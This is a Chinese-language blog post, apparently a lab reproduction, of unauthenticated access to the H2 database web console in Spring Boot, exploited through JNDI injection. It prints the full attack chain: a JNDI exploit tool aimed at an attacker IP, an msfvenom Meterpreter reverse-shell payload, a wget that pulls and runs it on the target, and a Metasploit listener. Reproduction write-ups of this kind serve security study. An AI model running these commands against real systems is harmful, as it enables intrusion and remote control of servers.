h2dtabase 未授权访问漏洞复现

admin 2024年11月11日23:09:32评论21 views字数 1346阅读4分29秒阅读模式

H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:

spring.h2.console.enabled=truespring.h2.console.settings.web-allow-others=true
利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。

参考链接:

漏洞环境

执行如下命令启动一个Springboot + h2database环境:

docker-compose up -d

启动后,访问http://your-ip:8080/h2-console/即可查看到H2 database的管理页面。

:打开这个界面

h2dtabase 未授权访问漏洞复现

一看就是spring boot,然后访问/h2-console

h2dtabase 未授权访问漏洞复现

下载JNDI工具

准备JDNI注入工具包:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

下载完成执行命令

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 192.168.1.10

h2dtabase 未授权访问漏洞复现

将生成的RML链输入到JDBC URL上,这里注意一点,必须要加载的驱动

javax.naming.InitialContext

然后kali机这边接到回显

h2dtabase 未授权访问漏洞复现

这样就注入成功了,根据网上的复现进行利用

msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=x.x.x.x LPORT=6666 -f elf > shell.elf

h2dtabase 未授权访问漏洞复现

然后在攻击机开启一个http服务

h2dtabase 未授权访问漏洞复现

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "wget http://192.168.1.10/shell.elf" -A 192.168.1.10

h2dtabase 未授权访问漏洞复现

生成RMI链注入

h2dtabase 未授权访问漏洞复现

查看攻击机

h2dtabase 未授权访问漏洞复现

然后给shell.elf提升权限 

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "chmod shell.elf" -A 192.168.1.10

注入后攻击机设置监听

msfconsoleuse exploit/multi/handlerset payload linux/x64/meterpreter/reverse_tcpset lhost x.x.x.xset lport 6666run

启动shell.elf

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "./shell.elf" -A 192.168.1.10

查看监听机:

h2dtabase 未授权访问漏洞复现

这时已经拿到完整权限

h2dtabase 未授权访问漏洞复现

原文始发于微信公众号(shadowsec):h2dtabase 未授权访问漏洞复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月11日23:09:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   h2dtabase 未授权访问漏洞复现https://cn-sec.com/archives/2491717.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息